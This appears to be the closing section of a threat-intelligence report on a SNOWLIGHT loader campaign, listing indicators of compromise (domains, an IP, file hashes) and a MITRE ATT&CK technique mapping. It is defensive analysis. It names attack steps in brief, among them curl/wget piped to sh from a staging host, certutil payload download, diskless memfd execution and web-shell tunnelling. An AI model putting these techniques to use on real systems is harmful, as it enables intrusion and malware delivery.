| /slt, /slw, /swt, /swk, /sww | URI paths | SNOWLIGHT loader-panel endpoints (/slt confirmed via bash_history; remaining four derived from each recovered dropper’s own embedded platform/transport tokens – Section 09) |
| google.chromeupgrades.com | Domain | Passive-DNS association with 130.94.30.168 (2026-06-05 → 2026-07-06) – fake Chrome-updater lure naming |
| speedtest.qqmail.website | Domain | Passive-DNS association with 130.94.30.168 (2026-02-10 → 2026-06-26) – fake QQ Mail/speedtest lure naming |
| ebc94e24e4df94f988dd0a2275e8a3f1957051814a3c39ec30bfaca2f5ca2607 | SHA-256 | linux_amd64 stage-2 loader |
| dc493eb8367b7d68f4d3d9f2a10c495c6a45c33df72fb5a18bdf62b629f69e31 | SHA-256 | linux_i386 stage-2 loader |
| 9c59a0dadec1f1b73724f3ee4113e4fde696214371b9068fd69774db4cd8b8d2 | SHA-256 | linux_arm stage-2 loader |
| 66543c4f9f4d610a79efa5e52b9aa90ca41dbfc154418435a2902ac48dad2ee4 | SHA-256 | linux_arm64 stage-2 loader |
| a4989ae1d598e79a87a9e01d0b5966a25b00b23ca234fbdb52b9df7b29db918a | SHA-256 | linux.sh architecture-detection dropper |
| b96cdf8bc96c7288af7624974b1a10b7bf16e5ac03ac8493ade20696a906a81a | SHA-256 | loader.exe (“Vello.exe” v1.62.9.76) |
| 75d39860a5c5ce6c26590265102f25c50f91a22b6769d22046759fb3aff8d0a8 | SHA-256 | windows.bat dropper |
| d7ed70cdd88f6cccbdc0ad6851d7a61b7fce79fdf9c4cd9f9bb375233a96b2dd | SHA-256 | windows_amd64.exe stage-2 loader |
| b7486bb7fc5f7e659b40dab3366b576d68db61ca0004de7a1e115eb9b541f19a | SHA-256 | windows_i386.exe stage-2 loader (tcp variant) |
| b272e2e4a7c65f2659a8fff8ceec4d9538f74f6dc9bace7d051a4476ba6bc77c | SHA-256 | linux.sh (ws variant) |
| c0a5374a425ee5030b2219520dfa3a3a51f27d3cc4404b016e695c4450fe3034 | SHA-256 | linux_amd64 (ws variant) |
| adde431d5b78b2b2cfb67c5bcd938be6cc466fbb3ac2786cad97b493f6fcfad5 | SHA-256 | linux_arm (ws variant) |
| 4738f3559c10f7c62a3be48ec2ce42c584b53d5ffa9e06e6521607a6fdfd535f | SHA-256 | linux_arm64 (ws variant) |
| 00b0cef237d9619c99c5d90cf902ec768c1ecf4f96d542d31dc5afb0b564cb4f | SHA-256 | windows.bat (kcp variant) |
| 2ac6c953d2d36eb7e7e85aa0822a65961071f7801a25118ab42bcfa9693327a1 | SHA-256 | windows.bat (ws variant) |
| 20e1ec6b07abe3b2dd54f7ae4e47dc00afa46de6e6c0ef0239c26c8bae70a43a | SHA-256 | windows_amd64.exe (ws variant) |
| c2d0e4dd2f2b3f1d4eb4518984b00ed521c73d1e935780786479db690112ef9c | SHA-256 | windows_i386.exe (ws variant) |
MITRE ATT&CK Mapping
| Tactic | Technique | Observed implementation |
|---|---|---|
| Reconnaissance | T1595 Active Scanning | nuclei, dirsearchplus, custom liveness/harvesting scripts against gov-heavy target lists |
| Resource Development | T1588.001 / .002 / .006 | Public PoC exploits, Metasploit modules, and CVE knowledge staged in bulk |
| Resource Development | T1583.001 Acquire Infrastructure: Server | 130.94.17.180 and 130.94.30.168 provisioned as attack/staging hosts – sibling VPS instances from the same LightNode /17 block |
| Resource Development | T1583.001 / T1036.005 | Lookalike domains google.chromeupgrades.com and speedtest.qqmail.website registered/hosted against the same IP – masquerading as Google Chrome update and Tencent QQ Mail infrastructure |
| Initial Access | T1190 Exploit Public-Facing Application | 9 CVEs actively weaponized against internet-facing Tomcat, cPanel, Exchange, Confluence, Struts2, Laravel |
| Execution | T1059 Command & Scripting Interpreter | id/whoami RCE oracles; interactive WebSocket root shells |
| Persistence | T1505.003 Web Shell | error.jsp, tunnel.jsp implants |
| Persistence | T1098 Account Manipulation | Persistent WHM API token creation (named “WHMCS”) on compromised cPanel hosts |
| Privilege Escalation | T1548 Abuse Elevation Control Mechanism | Beacon elevate svc-exe against the captured test host |
| Defense Evasion | T1027 Obfuscated/Compressed Files | Cracked C2 binary patched to bypass license/telemetry checks; dedicated “KillAV”/AV-evasion Aggressor modules |
| Discovery | T1518.001 Security Software Discovery | Beacon AV-product enumeration module (“Scanning for antivirus software”) |
| Discovery | T1033 / T1087 Account Discovery | quser.exe emulation module |
| Command & Control | T1071.001 Web Protocols | Malleable HTTP profile disguised as jQuery CDN traffic |
| Command & Control | T1105 Ingress Tool Transfer | curl/wget | sh stage-2 loader retrieval from 130.94.30.168 |
| Command & Control | T1572 Protocol Tunneling | Neo-reGeorg SOCKS/HTTP tunnels over implanted web shells |
| Defense Evasion | T1620 Reflective Code Loading | SNOWLIGHT loader stages its payload via memfd_create() + fexecve() – disk-less execution SNOWLIGHT |
| Defense Evasion | T1036.004 Masquerade Task or Service | SNOWLIGHT payload argv[0] spoofed as [kworker/0:2] to impersonate a kernel worker thread SNOWLIGHT |
| Defense Evasion | T1027 Obfuscated Files or Information | SNOWLIGHT payload transferred XOR-0x99 encoded over raw TCP – identical key on both ELF and PE loader families SNOWLIGHT |
| Defense Evasion | T1027.007 Dynamic API Resolution | Windows loader resolves KERNEL32/WS2_32/MSVCRT functions via PEB-walk + ROR-13 export-name hashing instead of a static import table |
| Command & Control | T1105 Ingress Tool Transfer | Windows variant uses certutil.exe -urlcache -split -f (LOLBin) to fetch the stage-2 payload |
| Exfiltration (technique reuse) | T1048 (OOB channel) | DNS/HTTP callback services (dnslog.cn) used to confirm blind RCE |

